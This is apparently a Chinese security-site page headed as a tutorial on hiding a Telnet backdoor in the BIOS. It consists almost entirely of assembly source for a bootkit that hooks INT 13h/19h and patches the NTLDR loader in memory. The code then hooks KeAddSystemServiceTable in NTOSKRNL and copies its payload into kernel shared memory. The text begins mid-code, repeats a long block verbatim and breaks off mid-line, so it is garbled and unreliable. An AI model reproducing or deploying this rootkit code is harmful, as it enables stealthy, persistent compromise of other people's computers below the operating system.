- ·上一篇文章:CodeRedII真的不会再肆虐互联网了吗
- ·下一篇文章:“QQ破解器”含病毒致5万网友染毒
使用汇编编写BIOS中隐藏Telnet后门
],cs ;设置成我们的INT13H服务代码
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
;**************************************************************************************************
NewINT13H:
pushf ;有指令要改变标志寄存器值.
test ah, 0bdh ;是不是读数据到内存?ah=02,ah=42h.
.if !ZERO? ;ZF=0
popf
int 85h ;调用旧的中断向量13H.
iret
.endif
mov word ptr cs:[INT13LASTFUNCTION],ax
popf
int 85h ;调用旧的中断向量13H.
.if CARRY? ;CF=1,读失败退出服务
iret
.endif
pushf
;cli
push es
pushad
;jmp $ ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
mov ax,00h
INT13LASTFUNCTION EQU $-2
.if ah == 42h
lodsw
lodsw ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
les bx,[si] ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
.endif
.if al != 00h
xor cx,cx
mov cl,al
mov al,8Bh ;设置搜索标志的第一个字节.
shl cx,9 ;(CX * 200h) 搜索搜索计数.
mov di,bx ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
cld ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
.while 1
repne scasb
.break .if !ZERO?
.continue .if dword ptr es:[di] != 74F685F0h
.continue .if word ptr es:[di+4] != 8021h
;(es:di - 1)->我们想被HOOK的指令代码开始处.
;mov byte ptr es:[di-8],0ebh ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
;mov byte ptr es:[di-7],0feh
;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.
xor eax,eax
mov ax,cs
sub ax,100h ;ax->保护模式代码段
mov bx,ax
shl eax,4 ;eax->保护模式代码段在内存的物理地址.
mov word ptr es:[di-1],15ffh ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
mov es:[di+1],eax ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
mov es,bx
or es:[(KEASSTHOOK_PTE - Code32Start)],eax
add eax,4 ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
mov dword ptr es:[0],eax ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
;jmp $ ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
.endw
.endif
popad
pop es
popf
iret
;*****************************************************************************************************
Code16End: ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************
ProtectCode segment byte use32 ;##########可工作在32位保护模式的代码#########
Code32Start: ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
NTLDRCallAddr dd ?
;jmp $ ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
pushfd ;esp = esp + 04h
pushad ;esp = esp + 20h
;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
mov edi,[esp + 20h + 04h] ;edi->OSLOADER内部.
and edi,NOT 000FFFFFh ;转换为镜像基地址 .
cld
mov al,0c7h ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
.while 1
scasb
.if ZERO?
.break .if dword ptr [edi] == 40003446h
.endif
.endw
mov al,0A1H ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
.while 1
scasb
.break .if ZERO?
.endw
mov esi,[edi] ;esi->模块链表的开始基地址 .
mov esi,[esi] ;esi->模块链表中的第一个节点.
lodsd
mov ebx,[eax+18h] ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
;注意:这里不能直接调用NTOSKRNL导出函数.
;jmp $
;*****************************************************************************************
call PatchFunction_OverHookFunc ;跳转到KeASSTHook后面执行,安装HOOK问题.
KeASSTHook: ;HOOK KeAddSystemServiceTable 该函数.
;lb 0x804c3bc6
sub dword ptr [esp],5 ;修正ret指令返回地址为被HOOK函数开始处.
pushad ;保护KeAddSystemServiceTable函数的现场.
mov eax,00000001h ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU $-4
xor ecx,ecx
mov ch,((Code32End - Code32Start) + 100h) / 100h ;注意:代码小于2k,以便放在用户数据空间 .
mov edx,0C0000000h ;edx->4MB页目录表中的第一个二级页表项 .
xor esi,esi ;esi->我们的代码开始地址,以页为基地址 .
mov edi,CSL_KERNEL_DEST ;拷贝代码到SharedUserData数据空间中去 .
xchg [edx],eax ;映射我们代码的物理地址到线性地址00000.
wbinvd
rep movsb ;SharedUserData 空间参看其他相关的教程.
mov [edx],eax ;恢复线性地址00000000原来的映射物理页 .
wbinvd ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.
;保存被HOOK代码数据在堆栈中,后面恢复用.
db 6Ah,0 ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
pushd 0
KEASSTHOOK_DISPLACED0 EQU $-4
;bochs调试8#:lb 0xffdf08a4映射地址之后.
push (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
ret ;跳转到MyKeAddSystemServiceTable函数处.
;**********************************************************************
PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.
pop esi ;esi->KeASSTHook 函数在内存的实际地址 .
mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .
;处理代码中的寻址问题,将KeASSTHook代码.
lea edi,[ebx+40h] ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.
mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .
rep movsb ;指令:edi->PatchFunction_OverHookFunc .
mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0 ->HASH值.
call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..
;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.
xchg esi,eax ;指令:esi
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
;**************************************************************************************************
NewINT13H:
pushf ;有指令要改变标志寄存器值.
test ah, 0bdh ;是不是读数据到内存?ah=02,ah=42h.
.if !ZERO? ;ZF=0
popf
int 85h ;调用旧的中断向量13H.
iret
.endif
mov word ptr cs:[INT13LASTFUNCTION],ax
popf
int 85h ;调用旧的中断向量13H.
.if CARRY? ;CF=1,读失败退出服务
iret
.endif
pushf
;cli
push es
pushad
;jmp $ ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
mov ax,00h
INT13LASTFUNCTION EQU $-2
.if ah == 42h
lodsw
lodsw ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
les bx,[si] ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
.endif
.if al != 00h
xor cx,cx
mov cl,al
mov al,8Bh ;设置搜索标志的第一个字节.
shl cx,9 ;(CX * 200h) 搜索搜索计数.
mov di,bx ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
cld ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
.while 1
repne scasb
.break .if !ZERO?
.continue .if dword ptr es:[di] != 74F685F0h
.continue .if word ptr es:[di+4] != 8021h
;(es:di - 1)->我们想被HOOK的指令代码开始处.
;mov byte ptr es:[di-8],0ebh ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
;mov byte ptr es:[di-7],0feh
;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.
xor eax,eax
mov ax,cs
sub ax,100h ;ax->保护模式代码段
mov bx,ax
shl eax,4 ;eax->保护模式代码段在内存的物理地址.
mov word ptr es:[di-1],15ffh ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
mov es:[di+1],eax ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
mov es,bx
or es:[(KEASSTHOOK_PTE - Code32Start)],eax
add eax,4 ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
mov dword ptr es:[0],eax ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
;jmp $ ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
.endw
.endif
popad
pop es
popf
iret
;*****************************************************************************************************
Code16End: ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************
ProtectCode segment byte use32 ;##########可工作在32位保护模式的代码#########
Code32Start: ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
NTLDRCallAddr dd ?
;jmp $ ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
pushfd ;esp = esp + 04h
pushad ;esp = esp + 20h
;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
mov edi,[esp + 20h + 04h] ;edi->OSLOADER内部.
and edi,NOT 000FFFFFh ;转换为镜像基地址 .
cld
mov al,0c7h ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
.while 1
scasb
.if ZERO?
.break .if dword ptr [edi] == 40003446h
.endif
.endw
mov al,0A1H ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
.while 1
scasb
.break .if ZERO?
.endw
mov esi,[edi] ;esi->模块链表的开始基地址 .
mov esi,[esi] ;esi->模块链表中的第一个节点.
lodsd
mov ebx,[eax+18h] ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
;注意:这里不能直接调用NTOSKRNL导出函数.
;jmp $
;*****************************************************************************************
call PatchFunction_OverHookFunc ;跳转到KeASSTHook后面执行,安装HOOK问题.
KeASSTHook: ;HOOK KeAddSystemServiceTable 该函数.
;lb 0x804c3bc6
sub dword ptr [esp],5 ;修正ret指令返回地址为被HOOK函数开始处.
pushad ;保护KeAddSystemServiceTable函数的现场.
mov eax,00000001h ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU $-4
xor ecx,ecx
mov ch,((Code32End - Code32Start) + 100h) / 100h ;注意:代码小于2k,以便放在用户数据空间 .
mov edx,0C0000000h ;edx->4MB页目录表中的第一个二级页表项 .
xor esi,esi ;esi->我们的代码开始地址,以页为基地址 .
mov edi,CSL_KERNEL_DEST ;拷贝代码到SharedUserData数据空间中去 .
xchg [edx],eax ;映射我们代码的物理地址到线性地址00000.
wbinvd
rep movsb ;SharedUserData 空间参看其他相关的教程.
mov [edx],eax ;恢复线性地址00000000原来的映射物理页 .
wbinvd ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.
;保存被HOOK代码数据在堆栈中,后面恢复用.
db 6Ah,0 ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
pushd 0
KEASSTHOOK_DISPLACED0 EQU $-4
;bochs调试8#:lb 0xffdf08a4映射地址之后.
push (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
ret ;跳转到MyKeAddSystemServiceTable函数处.
;**********************************************************************
PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.
pop esi ;esi->KeASSTHook 函数在内存的实际地址 .
mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .
;处理代码中的寻址问题,将KeASSTHook代码.
lea edi,[ebx+40h] ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.
mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .
rep movsb ;指令:edi->PatchFunction_OverHookFunc .
mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0 ->HASH值.
call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..
;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.
xchg esi,eax ;指令:esi
使用汇编编写BIOS中隐藏Telnet后门